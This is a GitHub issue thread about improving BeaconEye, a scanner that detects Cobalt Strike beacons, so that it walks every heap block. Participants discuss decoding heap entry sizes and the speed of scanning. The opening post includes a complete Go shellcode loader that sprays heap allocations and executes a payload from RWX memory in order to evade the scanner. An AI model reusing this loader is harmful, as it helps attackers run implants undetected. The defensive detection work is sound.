BeaconEye
BeaconEye copied to clipboard
[Bug Fix] Scan Heap Blocks
In previous fix, you only scan the heap segments, but heap segments contains lots of heap blocks, so, if i create a beacon like this
package main
import (
"fmt"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // Execute
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
GetCurrentProcess = kernel32.MustFindProc("GetCurrentProcess")
HeapAlloc = kernel32.MustFindProc("HeapAlloc")
GetProcessHeap = kernel32.MustFindProc("GetProcessHeap")
HeapCreate = kernel32.MustFindProc("HeapCreate")
HeapFree = kernel32.MustFindProc("HeapFree")
)
var(
heapAddrList []uintptr
)
// Alloc Heap To Generate Lots of Block
func heapAllocBlock(heapHandle uintptr){
count := 0
for true{
count++
addr, _, _ := HeapAlloc.Call(heapHandle, 0x00000008, 4096)
heapAddrList = append(heapAddrList, addr)
if count >= 40000 {
break
}
}
}
// Free
func heapAllocFree(heapHandle uintptr, addr uintptr){
_, _, err := HeapFree.Call(heapHandle, 0x00000001, addr)
fmt.Println(err)
}
func main() {
//Get Shellcode
f, _ := os.Open("raw/payload.bin")
shellcode := make([]byte, 40960)
f.Read(shellcode)
//Get Heap Address
heapHandle, _, err := GetProcessHeap.Call()
if err != nil {
fmt.Println(err)
}
//Alloc
heapAllocBlock(heapHandle)
//Execute Shellcode
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
it can bypass the beaconeye(random, if the beacon config not in first segment block), so, to solve this problem, should scan all heap blocks, but if process alloc large heap memory, it will be slow. (in my case, scan 16gb memory need 5 mins).
but the heap blocks don't exist linkedlist to walk over, so we have to calculate the block address, the block struct like this
ntdll!_HEAP_ENTRY
+0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY
+0x000 PreviousBlockPrivateData : Ptr64 Void
+0x008 Size : Uint2B
+0x00a Flags : UChar
+0x00b SmallTagIndex : UChar
+0x008 SubSegmentCode : Uint4B
+0x00c PreviousSize : Uint2B
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar
in x64, the size is Size * 0x10, so the block address like this
blockaddress ~ blockaddress + size * 0x10
but windows encrypt the size, so we have to use xor key to decrypt, xor key in _heap struct fields encoding

so, the fix code is my pr (my english is not good, srry)
by the way, if you want to walk over the segment entry list, you have to ReadPointer(segment + 0x18) - 0x18, otherwise the address is wrong
and the fix code only work for x64
Very cool. Thanks for that. Do we need to use the xor key to get the size? Can't we just query the base address to get the allocated memory size for that block?
Very cool. Thanks for that. Do we need to use the xor key to get the size? Can't we just query the base address to get the allocated memory size for that block?
microsoft seem not provide this function(get the heap block size), but u can use heapwalk to scan(inject the process)
In addition to using HeapWalk, you can also use heap32first and heap32next to accomplish this, but it is very slow, and cannot scan 32bit process from 64bit process.
heap32next is slow beacause it call RtlQueryProcessDebugInfomation when you call it every time
or if you want to faster enum heap, you can implement heap32first and heap32next via RtlQueryProcessDebugInfomation
But, there's same problem, it cannot scan 32bit process from 64bit process.
I haven't found the solution yet.
@d1nfinite NtQueryInformationMemory should give the allocated base + size of any address. It might overshoot the amount actually allocated off the heap but it should cover the block it was allocated from
@CCob beaconeye use NtQueryVirtualMemory to get memory information, and in microsoft doc describe the MEMORY_BASIC_INFORMATION->regionSize`
the region in bytes beginning at the base address in which all pages have identical attributes.
if NtQueryInformationMemory use heap entry size to calculate the address size, u can use this function to walk over all heap blocks, but i'm not sure how it do it
it can bypass the beaconeye(random, if the beacon config not in first segment block), so, to solve this problem, should scan all heap blocks, but if process alloc large heap memory, it will be slow. (in my case, scan 16gb memory need 5 mins).
@d1nfinite
you can see https://github.com/akkuman/EvilEye/blob/e7ca6eec4b52a7aa259d5e0bc8bafecd4e7922a9/beaconeye/beaconeye.go#L260 and https://github.com/akkuman/EvilEye/blob/e7ca6eec4b52a7aa259d5e0bc8bafecd4e7922a9/beaconeye/beaconeye.go#L236 , I did a little work to speed up the program